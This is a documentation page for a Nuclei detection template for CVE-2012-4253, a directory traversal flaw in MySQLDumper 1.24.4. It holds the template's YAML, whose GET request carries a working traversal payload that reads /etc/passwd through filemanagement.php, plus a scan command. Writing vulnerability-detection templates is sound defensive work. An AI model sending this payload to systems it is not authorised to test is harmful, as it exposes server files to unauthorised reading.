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MySQLDumper 1.24.4 - Directory Traversal

ID: CVE-2012-4253

Severity: medium

Author: daffainfo

Tags: cve2012,cve,packetstorm,lfi,edb,mysqldumper,xss

Description

Section titled “Description”

Multiple directory traversal vulnerabilities in MySQLDumper 1.24.4 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) language parameter to learn/cubemail/install.php or (2) f parameter learn/cubemail/filemanagement.php, or execute arbitrary local files via a .. (dot dot) in the (3) config parameter to learn/cubemail/menu.php.

YAML Source

Section titled “YAML Source”
id: CVE-2012-4253


info:
  name: MySQLDumper 1.24.4 - Directory Traversal
  author: daffainfo
  severity: medium
  description: Multiple directory traversal vulnerabilities in MySQLDumper 1.24.4 allow remote attackers to read arbitrary files via a .. (dot dot) in the (1) language parameter to learn/cubemail/install.php or (2) f parameter learn/cubemail/filemanagement.php, or execute arbitrary local files via a .. (dot dot) in the (3) config parameter to learn/cubemail/menu.php.
  impact: |
    An attacker can read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Upgrade to a patched version of MySQLDumper or apply the necessary security patches to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/37129
    - https://nvd.nist.gov/vuln/detail/CVE-2012-4253
    - http://packetstormsecurity.org/files/112304/MySQLDumper-1.24.4-LFI-XSS-CSRF-Code-Execution-Traversal.html
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/75286
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/75283
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2012-4253
    cwe-id: CWE-22
    epss-score: 0.0179
    epss-percentile: 0.87805
    cpe: cpe:2.3:a:mysqldumper:mysqldumper:1.24.4:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: mysqldumper
    product: mysqldumper
  tags: cve2012,cve,packetstorm,lfi,edb,mysqldumper,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/learn/cubemail/filemanagement.php?action=dl&f=../../../../../../../../../../../etc/passwd%00"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c349e300b4ff3f2db9b4a1ac8c4ddca2aed1b101add6a3225aad12d721474d4c022045675cf872573797239995e0d4859e78cc11df37131b0cc0148b63e65882047b:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2012/CVE-2012-4253.yaml"

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